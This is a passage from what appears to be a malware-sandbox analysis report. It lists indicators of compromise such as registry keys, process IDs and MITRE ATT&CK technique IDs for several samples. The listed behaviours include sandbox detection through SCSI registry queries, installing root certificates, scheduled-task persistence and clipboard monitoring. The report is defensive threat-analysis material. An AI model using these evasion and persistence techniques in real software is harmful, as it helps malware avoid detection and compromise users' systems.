5604 PING.EXE

pid	process
5584	cmd.exe
5604	PING.EXE

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

up.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	up.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	up.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	up.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2464 timeout.exe

pid	process
2464	timeout.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

Processes:

iexplore.exeiexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4B763699-A385-11EF-8D9B-F2BBDB1F0DCB} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{183FFFC1-A385-11EF-8D9B-F2BBDB1F0DCB} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80dae3ed9137db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe

Modifies registry class 9 IoCs

Processes:

minesweeper.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft\Windows\GameUX\GameStats\{89FE5CB3-11CB-489C-AC0D-0C0B6707E1F6}	minesweeper.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software	minesweeper.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft\Windows\GameUX\GameStats	minesweeper.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft\Windows\GameUX\GameStats\{89FE5CB3-11CB-489C-AC0D-0C0B6707E1F6}\LastPlayed = "0"	minesweeper.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft\Windows\GameUX\GameStats\{89FE5CB3-11CB-489C-AC0D-0C0B6707E1F6}\LastPlayed = "2"	minesweeper.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings	minesweeper.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft	minesweeper.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft\Windows	minesweeper.exe
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000_CLASSES\Local Settings\Software\Microsoft\Windows\GameUX	minesweeper.exe

Modifies system certificate store 2 TTPs 6 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

Processes:

4363463463464363463463463.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	4363463463464363463463463.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	4363463463464363463463463.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	4363463463464363463463463.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4363463463464363463463463.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d0030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4363463463464363463463463.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa20f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4363463463464363463463463.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5604 PING.EXE

pid	process
5604	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
6016	schtasks.exe
3392	schtasks.exe
2564	schtasks.exe
2568	schtasks.exe
3680	schtasks.exe
2136	schtasks.exe
3276	schtasks.exe
4356	schtasks.exe
3684	schtasks.exe
1768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeTerminal_9235.exepowershell.exeneonn.exe%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exeFaced.pifInstallUtil.exe286830899.exeneon.exeneon.exe123264690.exe1658518264.exepowershell.execonhost.exe

pid	process
3064	powershell.exe
2516	Terminal_9235.exe
2516	Terminal_9235.exe
2516	Terminal_9235.exe
2572	powershell.exe
1364	neonn.exe
1364	neonn.exe
2500	%E5%9B%9B%E6%96%B9%E5%B9%B3%E5%8F%B0-%E5%8D%A1%E5%95%86%E7%AB%AF.exe
1364	neonn.exe
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
5984	Faced.pif
1364	neonn.exe
1364	neonn.exe
5984	Faced.pif
5984	Faced.pif
1364	neonn.exe
6044	InstallUtil.exe
6044	InstallUtil.exe
4452	286830899.exe
6044	InstallUtil.exe
4788	neon.exe
4860	neon.exe
4860	neon.exe
4860	neon.exe
1364	neonn.exe
1364	neonn.exe
2076	123264690.exe
3820	1658518264.exe
3820	1658518264.exe
4176	powershell.exe
3820	1658518264.exe
3820	1658518264.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe
3724	conhost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

conhost.exeminesweeper.exe

pid process

3724 conhost.exe
5292 minesweeper.exe
Suspicious behavior: SetClipboardViewer 2 IoCs

Processes:

sysppvrdnvs.exesysnldcvmr.exe

pid process

2104 sysppvrdnvs.exe
2796 sysnldcvmr.exe

pid	process
3724	conhost.exe
5292	minesweeper.exe

pid	process
2104	sysppvrdnvs.exe
2796	sysnldcvmr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

